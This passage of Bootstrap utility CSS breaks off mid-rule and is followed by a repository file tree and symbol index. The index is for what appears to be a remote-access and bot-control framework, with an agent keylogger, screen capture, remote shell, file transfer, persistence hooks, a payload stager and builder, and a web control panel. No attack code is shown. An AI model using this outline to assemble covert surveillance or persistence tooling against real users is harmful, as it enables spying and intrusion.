  }
  .align-content-lg-between {
    -ms-flex-line-pack: justify !important;
    align-content: space-between !important;
  }
  .align-content-lg-around {
    -ms-flex-line-pack: distribute !important;
    align-content: space-around !important;
  }
  .align-content-lg-stretch {
    -ms-flex-line-pack: stretch !important;
    align-content: stretch !important;
  }
  .align-self-lg-auto {
    -ms-flex-item-align: auto !important;
    align-self: auto !important;
  }
  .align-self-lg-start {
    -ms-flex-item-align: start !important;
    align-self: flex-start !important;
  }
  .align-self-lg-end {
    -ms-flex-item-align: end !important;
    align-self: flex-end !important;
  }
  .align-self-lg-center {
    -ms-flex-item-align: center !important;
    align-self: center !important;
  }
  .align-self-lg-baseline {
    -ms-flex-item-align: baseline !important;
    align-self: baseline !important;
  }
  .align-self-lg-stretch {
    -ms-flex-item-align: stretch !important;
    align-self: stretch !important;
  }
}

@media (min-width: 1200px) {
  .flex-xl-row {
    -ms-flex-direction: row !important;
    flex-direction: row !important;
  }
  .flex-xl-column {
    -ms-flex-direction: column !important;
    flex-direction: column !important;
  }
  .flex-xl-row-reverse {
    -ms-flex-direction: row-reverse !important;
    flex-direction: row-reverse !important;
  }
  .flex-xl-column-reverse {
    -ms-flex-direction: column-reverse !important;
    flex-direction: column-reverse !important;
  }
  .flex-xl-wrap {
    -ms-flex-wrap: wrap !important;
    flex-wrap: wrap !important;
  }
  .flex-xl-nowrap {
    -ms-flex-wrap: nowrap !important;
    flex-wrap: nowrap !important;
  }
  .flex-xl-wrap-reverse {
    -ms-flex-wrap: wrap-reverse !important;
    flex-wrap: wrap-reverse !important;
  }
  .flex-xl-fill {
    -ms-flex: 1 1 auto !important;
    flex: 1 1 auto !important;
  }
  .flex-xl-grow-0 {
    -ms-flex-positive: 0 !important;
    flex-grow: 0 !important;
  }
  .flex-xl-grow-1 {
    -ms-flex-positive: 1 !important;
    flex-grow: 1 !important;
  }
  .flex-xl-shrink-0 {
    -ms-flex-negative: 0 !important;
    flex-shrink: 0 !important;
  }
  .flex-xl-shrink-1 {
    -ms-flex-negative: 1 !important;
    flex-shrink: 1 !important;
  }
  .justify-content-xl-start {
    -ms-flex-pack: start !important;
    justify-content: flex-start !important;
  }
  .justify-content-xl-end {
    -ms-flex-pack: end !important;
    justify-content: flex-end !important;
  }
  .justify-content-xl-center {
    -ms-flex-pack: center !important;
    justify-content: center !important;
  }
  .justify-content-xl-between {
    -ms-flex-pack: justify !important;
    justify-content: space-between !important;
  }
  .justify-content-xl-around {
    -ms-flex-pack: distribute !important;
    justify-content: space-around !important;
  }
  .align-items-xl-start {
    -ms-flex-align: start !important;
    align-items: flex-start !important;
  }
  .align-items-xl-end {
    -ms-flex-align: end !important;
    align-items: flex-end !important;
  }
  .align-items-xl-center {
    -ms-flex-align: center !important;
    align-items: center !important;
  }
  .align-items-xl-baseline {
    -ms-flex-align: baseline !important;
    align-items: baseline !important;
  }
  .align-items-xl-stretch {
    -ms-flex-align: stretch !important;
    align-items: stretch !important;
  }
  .align-content-xl-start {
    -ms-flex-line-pack: start !important;
    align-content: flex-start !important;
  }
  .align-content-xl-end {
    -ms-flex-line-pack: end !important;
    align-content: flex-end !important;
  }
  .align-content-xl-center {
    -ms-flex-line-pack: center !important;
    align-content: center !important;
  }
  .align-content-xl-between {
    -ms-flex-line-pack: justify !important;
    align-content: space-between !important;
  }
  .align-content-xl-around {
    -ms-flex-line-pack: distribute !important;
    align-content: space-around !important;
  }
  .align-content-xl-stretch {
    -ms-flex-line-pack: stretch !important;
    align-content: stretch !important;
  }
  .align-self-xl-auto {
    -ms-flex-item-align: auto !important;
    align-self: auto !important;
  }
  .align-self-xl-start {
    -ms-flex-item-align: start !important;
    align-self: flex-start !important;
  }
  .align-self-xl-end {
    -ms-flex-item-align: end !important;
    align-self: flex-end !important;
  }
  .align-self-xl-center {
    -ms-flex-item-align: center !important;
    align-self: center !important;
  }
  .align-self-xl-baseline {
    -ms-flex-item-align: baseline !important;
    align-self: baseline !important;
  }
  .align-self-xl-stretch {
    -ms-flex-item-align: stretch !important;
    align-self: stretch !important;
  }
}

.m-0 {
  margin: 0 !important;
}

.mt-0,
.my-0 {
  margin-top: 0 !important;
}

.mr-0,
.mx-0 {
  margin-right: 0 !important;
}

.mb-0,
.my-0 {
  margin-bottom: 0 !important;
}

.ml-0,
.mx-0 {
  margin-left: 0 !important;
}

.m-1 {
  margin: 0.25rem !important;
}

.mt-1,
.my-1 {
  margin-top: 0.25rem !important;
}

.mr-1,
.mx-1 {
  margin-right: 0.25rem !important;
}

.mb-1,
.my-1 {
  margin-bottom: 0.25rem !important;
}

.ml-1,
.mx-1 {
  margin-left: 0.25rem !important;
}

.m-2 {
  margin: 0.5rem !important;
}

.mt-2,
.my-2 {
  margin-top: 0.5rem !important;
}

.mr-2,
.mx-2 {
  margin-right: 0.5rem !important;
}

.mb-2,
.my-2 {
  margin-bottom: 0.5rem !important;
}

.ml-2,
.mx-2 {
  margin-left: 0.5rem !important;
}

.m-3 {
  margin: 1rem !important;
}

.mt-3,
.my-3 {
  margin-top: 1rem !important;
}

.mr-3,
.mx-3 {
  margin-right: 1rem !important;
}

.mb-3,
.my-3 {
  margin-bottom: 1rem !important;
}

.ml-3,
.mx-3 {
  margin-left: 1rem !important;
}

.m-4 {
  margin: 1.5rem !important;
}

.mt-4,
.my-4 {
  margin-top: 1.5rem !important;
}

.mr-4,
.mx-4 {
  margin-right: 1.5rem !important;
}

.mb-4,
.my-4 {
  margin-bottom: 1.5rem !important;
}

.ml-4,
.mx-4 {
  margin-left: 1.5rem !important;
}

.m-5 {
  margin: 3rem !important;
}

.mt-5,
.my-5 {
  margin-top: 3rem !important;
}

.mr-5,
.mx-5 {
  margin-right: 3rem !important;
}

.mb-5,
.my-5 {
  margin-bottom: 3rem !important;
}

.ml-5,
.mx-5 {
  margin-left: 3rem !important;
}

.p-0 {
  padding: 0 !important;
}

.pt-0,
.py-0 {
  padding-top: 0 !important;
}

.pr-0,
.px-0 {
  padding-right: 0 !important;
}

.pb-0,
.py-0 {
  padding-bottom: 0 !important;
}

.pl-0,
.px-0 {
  padding-left: 0 !important;
}

.p-1 {
  padding: 0.25rem !important;
}

.pt-1,
.py-1 {
  padding-top: 0.25rem !important;
}

.pr-1,
.px-1 {
  padding-right: 0.25rem !important;
}

.pb-1,
.py-1 {
  padding-bottom: 0.25rem !important;
}

.pl-1,
.px-1 {
  padding-left: 0.25rem !important;
}

.p-2 {
  padding: 0.5rem !important;
}

.pt-2,
.py-2 {
  padding-top: 0.5rem !important;
}

.pr-2,
.px-2 {
  padding-right: 0.5rem !important;
}

.pb-2,
.py-2 {
  padding-bottom: 0.5rem !important;
}

.pl-2,
.px-2 {
  padding-left: 0.5rem !important;
}

.p-3 {
  padding: 1rem !important;
}

.pt-3,
.py-3 {
  padding-top: 1rem !important;
}

.pr-3,
.px-3 {
  padding-right: 1rem !important;
}

.pb-3,
.py-3 {
  padding-bottom: 1rem !important;
}

.pl-3,
.px-3 {
  padding-left: 1rem !important;
}

.p-4 {
  padding: 1.5rem !important;
}

.pt-4,
.py-4 {
  padding-top: 1.5rem !important;
}

.pr-4,
.px-4 {
  padding-right: 1.5rem !important;
}

.pb-4,
.py-4 {
  padding-bottom: 1.5rem !important;
}

.pl-4,
.px-4 {
  padding-left: 1.5rem !important;
}

.p-5 {
  padding: 3rem !important;
}

.pt-5,
.py-5 {
  padding-top: 3rem !important;
}

.pr-5,
.px-5 {
  padding-right: 3rem !important;
}

.pb-5,
.py-5 {
  padding-bottom: 3rem !important;
}

.pl-5,
.px-5 {
  padding-left: 3rem !important;
}

.m-n1 {
  margin: -0.25rem !important;
}

.mt-n1,
.my-n1 {
  margin-top: -0.25rem !important;
}

.mr-n1,
.mx-n1 {
  margin-right: -0.25rem !important;
}

.mb-n1,
.my-n1 {
  margin-bottom: -0.25rem !important;
}

.ml-n1,
.mx-n1 {
  margin-left: -0.25rem !important;
}

.m-n2 {
  margin: -0.5rem !important;
}

.mt-n2,
.my-n2 {
  margin-top: -0.5rem !important;
}

.mr-n2,
.mx-n2 {
  margin-right: -0.5rem !important;
}

.mb-n2,
.my-n2 {
  margin-bottom: -0.5rem !important;
}

.ml-n2,
.mx-n2 {
  margin-left: -0.5rem !important;
}

.m-n3 {
  margin: -1rem !important;
}

.mt-n3,
.my-n3 {
  margin-top: -1rem !important;
}

.mr-n3,
.mx-n3 {
  margin-right: -1rem !important;
}

.mb-n3,
.my-n3 {
  margin-bottom: -1rem !important;
}

.ml-n3,
.mx-n3 {
  margin-left: -1rem !important;
}

.m-n4 {
  margin: -1.5rem !important;
}

.mt-n4,
.my-n4 {
  margin-top: -1.5rem !important;
}

.mr-n4,
.mx-n4 {
  margin-right: -1.5rem !important;
}

.mb-n4,
.my-n4 {
  margin-bottom: -1.5rem !important;
}

.ml-n4,
.mx-n4 {
  m
Download .txt
gitextract_umcxirla/

├── .gitignore
├── CHANGELOG.md
├── LICENSE
├── README.md
├── agent/
│   ├── bot/
│   │   ├── lib/
│   │   │   ├── __init__.py
│   │   │   ├── file.py
│   │   │   ├── info.py
│   │   │   ├── keylogger.py
│   │   │   ├── pathfinder.py
│   │   │   ├── screen.py
│   │   │   ├── session.py
│   │   │   ├── sftp.py
│   │   │   ├── shell.py
│   │   │   ├── sscreenshare.py
│   │   │   └── ssh.py
│   │   ├── template_payload.py
│   │   └── template_stager.py
│   ├── builder.py
│   ├── const.py
│   └── lib/
│       ├── __init__.py
│       ├── args.py
│       └── file.py
├── lib/
│   ├── __init__.py
│   ├── const.py
│   ├── database.py
│   └── server/
│       ├── __init__.py
│       ├── lib/
│       │   ├── __init__.py
│       │   ├── file.py
│       │   ├── interface.py
│       │   ├── session.py
│       │   ├── sftp.py
│       │   ├── shell.py
│       │   ├── sscreenshare.py
│       │   └── ssh.py
│       └── server.py
├── linter.sh
├── loki.py
├── requirements.txt
├── static/
│   ├── css/
│   │   ├── control.css
│   │   ├── home.css
│   │   ├── index.css
│   │   ├── intel.css
│   │   ├── main.css
│   │   └── settings.css
│   ├── js/
│   │   ├── command.js
│   │   ├── console.js
│   │   ├── exception.js
│   │   ├── home.js
│   │   ├── index.js
│   │   ├── settings.js
│   │   ├── ssh.js
│   │   └── terminal.js
│   └── vendor/
│       └── bootstrap-4.4.1-dist/
│           ├── css/
│           │   ├── bootstrap-grid.css
│           │   ├── bootstrap-reboot.css
│           │   └── bootstrap.css
│           └── js/
│               ├── bootstrap.bundle.js
│               └── bootstrap.js
└── templates/
    ├── base.html
    ├── home.html
    ├── index.html
    └── settings.html
Download .txt
SYMBOL INDEX (468 symbols across 35 files)

FILE: agent/bot/lib/file.py
  class File (line 6) | class File(object):
    method read (line 11) | def read(cls, file):
    method write (line 21) | def write(cls, file, data):

FILE: agent/bot/lib/info.py
  class System (line 13) | class System(object):
    method __init__ (line 15) | def __init__(self):
    method get_id (line 23) | def get_id(self):
    method sys_info (line 26) | def sys_info(self):
  class Geo (line 37) | class Geo(object):
    method __init__ (line 39) | def __init__(self):
    method get_internal_ip (line 43) | def get_internal_ip(self):
    method get_geo (line 49) | def get_geo(self):
    method net_info (line 55) | def net_info(self):
  class Information (line 64) | class Information(object):
    method __init__ (line 66) | def __init__(self):
    method parse (line 70) | def parse(self, data):
    method get_info (line 92) | def get_info(self):

FILE: agent/bot/lib/keylogger.py
  class Keylogger (line 9) | class Keylogger(object):
    method __init__ (line 11) | def __init__(self):
    method _start (line 26) | def _start(self):
    method start (line 30) | def start(self):
    method stop (line 33) | def stop(self):
    method dump (line 37) | def dump(self):
    method on_release (line 45) | def on_release(self, key):
    method on_press (line 49) | def on_press(self, key):
    method check_for_shift (line 73) | def check_for_shift(self, key):
    method is_empty (line 80) | def is_empty(self):

FILE: agent/bot/lib/pathfinder.py
  class Finder (line 10) | class Finder(object):
    method is_bad (line 16) | def is_bad(root, dirs, files):
    method choice (line 20) | def choice(items):
    method find (line 26) | def find(cls):

FILE: agent/bot/lib/screen.py
  function screenshot (line 11) | def screenshot():
  function clean_up (line 16) | def clean_up():

FILE: agent/bot/lib/session.py
  class Session (line 13) | class Session(object):
    method __init__ (line 15) | def __init__(self, session):
    method shutdown (line 19) | def shutdown(self):
    method initial_communication (line 26) | def initial_communication(self):
    method connect (line 32) | def connect(self, ip, port):
    method struct (line 40) | def struct(self, code=None, args=None):
    method send (line 43) | def send(self, code=None, args=None):
    method recv (line 50) | def recv(self, size=4096):

FILE: agent/bot/lib/sftp.py
  class sFTP (line 15) | class sFTP(object):
    method __init__ (line 17) | def __init__(self, ip, port, home, max_time=10, verbose=False):
    method display (line 27) | def display(self, msg):
    method read_file (line 31) | def read_file(self, file):
    method test_tunnel (line 40) | def test_tunnel(self):
    method send_file (line 48) | def send_file(self, file):
    method recv_file (line 70) | def recv_file(self):
    method close (line 87) | def close(self):
    method socket_obj (line 94) | def socket_obj(self):
    method send (line 110) | def send(self, file):
    method recv (line 122) | def recv(self):

FILE: agent/bot/lib/shell.py
  class Shell (line 14) | class Shell(object):
    method __init__ (line 16) | def __init__(self, sess_obj, services, home):
    method listen_recv (line 48) | def listen_recv(self):
    method parser (line 62) | def parser(self):
    method stop (line 73) | def stop(self):
    method shell (line 86) | def shell(self):
    method send (line 103) | def send(self, code=None, args=None):
    method display_text (line 108) | def display_text(self, text):
    method close (line 111) | def close(self):
    method reconnect (line 116) | def reconnect(self, args):
    method disconnect (line 120) | def disconnect(self, args):
    method ssh_obj (line 125) | def ssh_obj(self, args):
    method screenshare_start (line 135) | def screenshare_start(self, update):
    method screenshare_stop (line 148) | def screenshare_stop(self, args):
    method download (line 152) | def download(self, args):
    method upload (line 163) | def upload(self, file):
    method screen (line 174) | def screen(self, args):
    method chrome (line 180) | def chrome(self, urls):
    method create_persist (line 187) | def create_persist(self, args):
    method remove_persist (line 195) | def remove_persist(self, args):
    method logger_start (line 201) | def logger_start(self, args):
    method logger_stop (line 206) | def logger_stop(self, args):
    method logger_dump (line 210) | def logger_dump(self, args):

FILE: agent/bot/lib/sscreenshare.py
  class ScreenShare (line 13) | class ScreenShare:
    method __init__ (line 18) | def __init__(self, ip, port, update=5):
    method socket_obj (line 25) | def socket_obj(self):
    method send_image (line 40) | def send_image(self):
    method setup (line 56) | def setup(self):
    method start (line 61) | def start(self):
    method stop (line 68) | def stop(self):

FILE: agent/bot/lib/ssh.py
  class Communicate (line 14) | class Communicate(object):
    method __init__ (line 16) | def __init__(self, session):
    method recv (line 23) | def recv(self):
    method send (line 40) | def send(self, data):
    method start (line 50) | def start(self):
    method stop (line 55) | def stop(self):
  class Client (line 59) | class Client(object):
    method __init__ (line 61) | def __init__(self, communication, home):
    method start (line 66) | def start(self):
    method exe (line 75) | def exe(self, cmd):
    method stop (line 98) | def stop(self):
  class SSH (line 103) | class SSH(object):
    method __init__ (line 105) | def __init__(self, ip, port, home, max_time=10, verbose=False):
    method display (line 115) | def display(self, msg):
    method close (line 119) | def close(self):
    method send (line 129) | def send(self, cmd):
    method socket_obj (line 133) | def socket_obj(self):
    method client (line 148) | def client(self):

FILE: agent/bot/template_payload.py
  class Bot (line 31) | class Bot(object):
    method __init__ (line 33) | def __init__(self, home):
    method shutdown (line 40) | def shutdown(self):
    method connect (line 47) | def connect(self):
    method display_text (line 65) | def display_text(self, text):
    method contact_server (line 68) | def contact_server(self, ip, port):

FILE: agent/bot/template_stager.py
  function connect (line 22) | def connect():
  function get_payload (line 42) | def get_payload(sess):

FILE: agent/builder.py
  class Executor (line 25) | class Executor(object):
    method __init__ (line 27) | def __init__(self, ip, port, filename, wait, icon, hide, persist):
    method replace (line 59) | def replace(self, data, _dict):
    method compile_file (line 64) | def compile_file(self, path):
    method write_template (line 76) | def write_template(self, template, py_temp, _dict):
    method compile_stager (line 84) | def compile_stager(self):
    method compile_bot (line 97) | def compile_bot(self):
    method move_file (line 110) | def move_file(self, file, output_dir):
    method start (line 123) | def start(self):
    method clean_up (line 128) | def clean_up(self):

FILE: agent/lib/args.py
  class Args (line 10) | class Args(object):
    method __init__ (line 12) | def __init__(self):
    method error (line 21) | def error(self, error):
    method get_args (line 24) | def get_args(self):
    method set_args (line 75) | def set_args(self):
    method valid_ip (line 90) | def valid_ip(self):
    method valid_port (line 97) | def valid_port(self):
    method valid_icon (line 114) | def valid_icon(self):
    method valid_wait (line 128) | def valid_wait(self):

FILE: agent/lib/file.py
  class File (line 6) | class File(object):
    method read (line 11) | def read(cls, file, _bytes=True):
    method write (line 21) | def write(cls, file, data):

FILE: lib/database.py
  class Database (line 15) | class Database(object):
    method __init__ (line 17) | def __init__(self):
    method create_tables (line 22) | def create_tables(self):
    method add_account (line 61) | def add_account(self, username, password):
    method account_exists (line 86) | def account_exists(self, username):
    method compare_passwords (line 91) | def compare_passwords(self, user_id, password):
    method check_password (line 96) | def check_password(self, username, password):
    method authenticate (line 101) | def authenticate(self, username, password):
    method is_empty (line 112) | def is_empty(self):
    method create_default_account (line 116) | def create_default_account(self):
    method lock_account (line 122) | def lock_account(self, user_id):
    method failed_attempt (line 126) | def failed_attempt(self, user_id):
    method failed_attempts_counts (line 135) | def failed_attempts_counts(self, user_id):
    method is_locked (line 138) | def is_locked(self, user_id):
    method locked (line 149) | def locked(self, user_id):
    method remove_locked_account (line 157) | def remove_locked_account(self, user_id):
    method db_query (line 163) | def db_query(self, cmd, args, fetchone=True):
    method db_update (line 170) | def db_update(self, cmd, args):
    method db_create (line 176) | def db_create(self, cmd):
    method update_password (line 184) | def update_password(self, user_id, password):
    method update_username (line 189) | def update_username(self, user_id, username):
    method hash_password (line 195) | def hash_password(self, password):
    method gen_user_id (line 198) | def gen_user_id(self, username, password):
    method get_date_created (line 206) | def get_date_created(self, user_id):
    method get_user_id (line 209) | def get_user_id(self, username):
    method get_last_active (line 212) | def get_last_active(self, user_id):
    method get_account_status (line 219) | def get_account_status(self, user_id, username):

FILE: lib/server/lib/file.py
  class File (line 6) | class File(object):
    method read (line 11) | def read(cls, file):
    method write (line 21) | def write(cls, file, data):

FILE: lib/server/lib/interface.py
  class ScreenShare (line 18) | class ScreenShare:
    method __init__ (line 22) | def __init__(self, bot, update):
    method is_alive (line 33) | def is_alive(self):
    method start (line 36) | def start(self, code):
    method stop (line 42) | def stop(self):
    method close (line 54) | def close(self):
  class FTP (line 60) | class FTP(object):
    method __init__ (line 62) | def __init__(self, file, bot, download=True):
    method send (line 73) | def send(self, code, file=None):
    method recv (line 86) | def recv(self, code, file=None):
    method close (line 94) | def close(self):
  class Interface (line 102) | class Interface(object):
    method __init__ (line 104) | def __init__(self):
    method close (line 111) | def close(self):
    method gen_bot_id (line 126) | def gen_bot_id(self, uuid):
    method signature (line 136) | def signature(self):
    method is_connected (line 144) | def is_connected(self, uuid):
    method connect_client (line 150) | def connect_client(self, sess_obj, conn_info, shell):
    method close_sess (line 161) | def close_sess(self, sess_obj, shell_obj):
    method disconnect_client (line 171) | def disconnect_client(self, sess_obj):
    method disconnect_all (line 185) | def disconnect_all(self):
    method get_bot (line 190) | def get_bot(self, bot_id):
    method ssh_obj (line 195) | def ssh_obj(self, bot_id):
    method ssh_exe (line 217) | def ssh_exe(self, cmd):
    method ftp_obj (line 220) | def ftp_obj(self, bot_id, cmd_id, file, override):
    method ftp_status (line 252) | def ftp_status(self):
    method write_screen_scr (line 263) | def write_screen_scr(self, update):
    method screenshare_obj (line 315) | def screenshare_obj(self, bot_id, cmd_id, update, override):
    method execute_cmd_by_id (line 347) | def execute_cmd_by_id(self, bot_id, cmd_id, args):
    method keystrokes (line 421) | def keystrokes(self, bot_shell):
    method valid_thread (line 432) | def valid_thread(self, thread):
    method valid_ip (line 435) | def valid_ip(self, ip):
    method valid_port (line 438) | def valid_port(self, port):

FILE: lib/server/lib/session.py
  class Session (line 10) | class Session(object):
    method __init__ (line 12) | def __init__(self, session, ip):
    method initial_communication (line 19) | def initial_communication(self):
    method close (line 26) | def close(self):
    method struct (line 33) | def struct(self, code=None, args=None):
    method send (line 36) | def send(self, code=None, args=None):
    method recv (line 43) | def recv(self, size=4096):

FILE: lib/server/lib/sftp.py
  class sFTP (line 15) | class sFTP(object):
    method __init__ (line 17) | def __init__(self, ip, port, max_time=15, verbose=False):
    method display (line 29) | def display(self, msg):
    method test_tunnel (line 33) | def test_tunnel(self):
    method send_file (line 37) | def send_file(self, file):
    method recv_file (line 51) | def recv_file(self):
    method send (line 73) | def send(self, file):
    method recv (line 110) | def recv(self, code):
    method socket_closed (line 158) | def socket_closed(self):
    method close (line 174) | def close(self):

FILE: lib/server/lib/shell.py
  class Shell (line 11) | class Shell(object):
    method __init__ (line 13) | def __init__(self, sess_obj, interface):
    method start (line 22) | def start(self):
    method listen (line 35) | def listen(self):
    method recv_manager (line 44) | def recv_manager(self):
    method send (line 53) | def send(self, code=None, args=None):
    method display_text (line 56) | def display_text(self, text):

FILE: lib/server/lib/sscreenshare.py
  class SScreenShare (line 14) | class SScreenShare:
    method __init__ (line 20) | def __init__(self, ip, port):
    method recv_image (line 32) | def recv_image(self):
    method write (line 46) | def write(self, data):
    method display (line 56) | def display(self):
    method start (line 75) | def start(self):
    method socket_closed (line 119) | def socket_closed(self):
    method stop (line 135) | def stop(self):

FILE: lib/server/lib/ssh.py
  class Communicate (line 13) | class Communicate(object):
    method __init__ (line 15) | def __init__(self, session):
    method recv (line 23) | def recv(self):
    method send (line 40) | def send(self, data):
    method start (line 50) | def start(self):
    method stop (line 55) | def stop(self):
  class Server (line 59) | class Server(object):
    method __init__ (line 61) | def __init__(self, communication):
    method stop (line 66) | def stop(self):
    method send (line 70) | def send(self, cmd):
  class SSH (line 82) | class SSH(object):
    method __init__ (line 84) | def __init__(self, ip, port, max_time=10, verbose=False):
    method display (line 92) | def display(self, msg):
    method start (line 96) | def start(self):
    method serve (line 109) | def serve(self, server_socket):
    method close (line 126) | def close(self):
    method send (line 137) | def send(self, cmd):

FILE: lib/server/server.py
  class Server (line 17) | class Server(object):
    method __init__ (line 18) | def __init__(self):
    method gen_cert (line 29) | def gen_cert(self):
    method server_start (line 54) | def server_start(self):
    method server_stop (line 81) | def server_stop(self):
    method manage_conn_info (line 97) | def manage_conn_info(self, sess_obj, conn_info):
    method manage_conn (line 111) | def manage_conn(self, sess_obj, conn_info):
    method send_payload (line 118) | def send_payload(self, sess):
    method examine_conn (line 134) | def examine_conn(self, s, conn_info):
    method establish_conn (line 156) | def establish_conn(self, sess, ip):
    method waiting_conn_manager (line 163) | def waiting_conn_manager(self):
    method server_loop (line 170) | def server_loop(self):
    method services_start (line 178) | def services_start(self):
    method display_text (line 192) | def display_text(self, text):
    method start (line 195) | def start(self, ip, port):
    method stop (line 203) | def stop(self):

FILE: loki.py
  function get_bot (line 35) | def get_bot(bot_id):
  function login_required (line 42) | def login_required(func):
  function bot_required (line 55) | def bot_required(func):
  function is_valid_username (line 70) | def is_valid_username(username):
  function is_valid_password (line 100) | def is_valid_password(password):
  function index (line 162) | def index():
  function settings (line 173) | def settings():
  function start_bot_services (line 177) | def start_bot_services(bot_id):
  function control_cmd (line 186) | def control_cmd():
  function control_ssh (line 209) | def control_ssh():
  function get_bot_info (line 226) | def get_bot_info():
  function fetch_bots (line 269) | def fetch_bots():
  function server_status (line 289) | def server_status():
  function get_default_creds_status (line 301) | def get_default_creds_status():
  function update_username_password (line 311) | def update_username_password():
  function valid_ip (line 373) | def valid_ip(ip):
  function valid_port (line 383) | def valid_port(port):
  function server_start (line 407) | def server_start(ip, port):
  function server_stop (line 414) | def server_stop():
  function start_server (line 423) | def start_server():
  function stop_server (line 447) | def stop_server():
  function login (line 457) | def login():
  function logout (line 507) | def logout():

FILE: static/js/command.js
  class Command (line 33) | class Command extends Terminal {
    method constructor (line 34) | constructor() {
    method mainMenu (line 39) | get mainMenu() {
    method commands (line 52) | get commands() {
    method getArgs (line 82) | getArgs(cmd) {
    method execute (line 91) | execute(cmd) {

FILE: static/js/console.js
  constant UP_CODE (line 3) | const UP_CODE = 38;
  constant DOWN_CODE (line 4) | const DOWN_CODE = 40;
  constant ENTER_CODE (line 5) | const ENTER_CODE = 13;
  function getSelectedText (line 17) | function getSelectedText() {
  function execute (line 70) | function execute(cmd) {
  function updateHistory (line 82) | function updateHistory(currentValue) {

FILE: static/js/exception.js
  class Exception (line 3) | class Exception {
    method NotImplemented (line 4) | static get NotImplemented() {

FILE: static/js/home.js
  function updateStatus (line 20) | function updateStatus() {
  function getServerStatus (line 54) | function getServerStatus() {
  function setServerStatusActive (line 64) | function setServerStatusActive() {
  function setServerStatusInactive (line 73) | function setServerStatusInactive() {
  function fetchBots (line 124) | function fetchBots() {
  function processBots (line 152) | function processBots(bots) {
  function exploreBot (line 178) | function exploreBot(botId) {
  function restTerminal (line 256) | function restTerminal() {
  function activateCommand (line 278) | function activateCommand(currentTab) {
  function activateSSH (line 288) | function activateSSH(currentTab) {
  function activateTab (line 298) | function activateTab(currentTab) {
  function activeTab (line 306) | function activeTab(currentTab) {
  function isActiveTab (line 318) | function isActiveTab(currentTab) {

FILE: static/js/index.js
  function displayErrorMsg (line 34) | function displayErrorMsg(msg) {

FILE: static/js/settings.js
  constant MIN_USERNAME_LENGTH (line 3) | const MIN_USERNAME_LENGTH = 4;
  constant MAX_USERNAME_LENGTH (line 4) | const MAX_USERNAME_LENGTH = 16;
  constant MIN_PASSWORD_LENGTH (line 6) | const MIN_PASSWORD_LENGTH = 12;
  constant MAX_PASSWORD_LENGTH (line 7) | const MAX_PASSWORD_LENGTH = 256;
  function isValidUsername (line 11) | function isValidUsername(username) {
  function isValidPassword (line 36) | function isValidPassword(password) {
  function setInvalid (line 92) | function setInvalid(field, feedback) {
  function setValid (line 100) | function setValid(field, feedback) {
  function setClear (line 108) | function setClear(field, feedback) {
  function checkPassword (line 145) | function checkPassword() {
  function checkConfirmPassword (line 163) | function checkConfirmPassword() {
  function updateUsernamePassword (line 205) | function updateUsernamePassword() {
  function enableLoader (line 262) | function enableLoader() {
  function disableLoader (line 268) | function disableLoader() {
  function setAccountStatus (line 274) | function setAccountStatus() {

FILE: static/js/ssh.js
  class SSH (line 5) | class SSH extends Terminal {
    method constructor (line 6) | constructor() {
    method mainMenu (line 11) | get mainMenu() {
    method execute (line 26) | execute(cmd) {

FILE: static/js/terminal.js
  constant MAX_OUTPUT_HISTORY_SIZE (line 3) | const MAX_OUTPUT_HISTORY_SIZE = 32;
  constant MAX_HISTORY_SIZE (line 4) | const MAX_HISTORY_SIZE = 256;
  constant MAX_CHARS (line 5) | const MAX_CHARS = 8192;
  class Terminal (line 7) | class Terminal {
    method constructor (line 23) | constructor() {
    method addtoSSHHistory (line 39) | static addtoSSHHistory(input, output) {
    method addtoCommandHistory (line 47) | static addtoCommandHistory(input, output) {
    method outputHistory (line 55) | get outputHistory() {
    method consoleHistory (line 59) | get consoleHistory() {
    method currentPosition (line 63) | get currentPosition() {
    method currentPosition (line 67) | set currentPosition(value) {
    method isProcessing (line 75) | get isProcessing() {
    method isProcessing (line 79) | set isProcessing(value) {
    method currentInput (line 83) | get currentInput() {
    method currentInput (line 87) | set currentInput(value) {
    method populateOutput (line 95) | populateOutput() {
    method addtoConsoleHistory (line 103) | addtoConsoleHistory(input) {
    method mainMenu (line 119) | get mainMenu() {
    method execute (line 123) | execute(_cmd) {
    method startExe (line 127) | startExe() {
    method stopExe (line 134) | stopExe(input, output) {
    method constructOuput (line 147) | constructOuput(input, ouput) {
    method consoleOutput (line 156) | consoleOutput(input, output) {
    method scroll (line 174) | scroll() {
  function disableInput (line 179) | function disableInput() {
  function enableInput (line 185) | function enableInput() {
  function disableTabs (line 192) | function disableTabs() {
  function enableTabs (line 198) | function enableTabs() {
  function disabledTerminalObj (line 204) | function disabledTerminalObj() {
  function disableConsole (line 208) | function disableConsole() {

FILE: static/vendor/bootstrap-4.4.1-dist/js/bootstrap.bundle.js
  function _defineProperties (line 14) | function _defineProperties(target, props) {
  function _createClass (line 24) | function _createClass(Constructor, protoProps, staticProps) {
  function _defineProperty (line 30) | function _defineProperty(obj, key, value) {
  function ownKeys (line 45) | function ownKeys(object, enumerableOnly) {
  function _objectSpread2 (line 59) | function _objectSpread2(target) {
  function _inheritsLoose (line 79) | function _inheritsLoose(subClass, superClass) {
  function toType (line 101) | function toType(obj) {
  function getSpecialTransitionEndEvent (line 105) | function getSpecialTransitionEndEvent() {
  function transitionEndEmulator (line 119) | function transitionEndEmulator(duration) {
  function setTransitionEndSupport (line 134) | function setTransitionEndSupport() {
  function Alert (line 291) | function Alert(element) {
  function Button (line 461) | function Button(element) {
  function Carousel (line 712) | function Carousel(element, config) {
  function Collapse (line 1270) | function Collapse(element, config) {
  function microtaskDebounce (line 1615) | function microtaskDebounce(fn) {
  function taskDebounce (line 1629) | function taskDebounce(fn) {
  function isFunction (line 1662) | function isFunction(functionToCheck) {
  function getStyleComputedProperty (line 1674) | function getStyleComputedProperty(element, property) {
  function getParentNode (line 1691) | function getParentNode(element) {
  function getScrollParent (line 1705) | function getScrollParent(element) {
  function getReferenceNode (line 1740) | function getReferenceNode(reference) {
  function isIE (line 1754) | function isIE(version) {
  function getOffsetParent (line 1771) | function getOffsetParent(element) {
  function isOffsetContainer (line 1800) | function isOffsetContainer(element) {
  function getRoot (line 1816) | function getRoot(node) {
  function findCommonOffsetParent (line 1832) | function findCommonOffsetParent(element1, element2) {
  function getScroll (line 1876) | function getScroll(element) {
  function includeScroll (line 1900) | function includeScroll(rect, element) {
  function getBordersSize (line 1923) | function getBordersSize(styles, axis) {
  function getSize (line 1930) | function getSize(axis, body, html, computedStyle) {
  function getWindowSizes (line 1934) | function getWindowSizes(document) {
  function defineProperties (line 1952) | function defineProperties(target, props) {
  function getClientRect (line 2009) | function getClientRect(offsets) {
  function getBoundingClientRect (line 2023) | function getBoundingClientRect(element) {
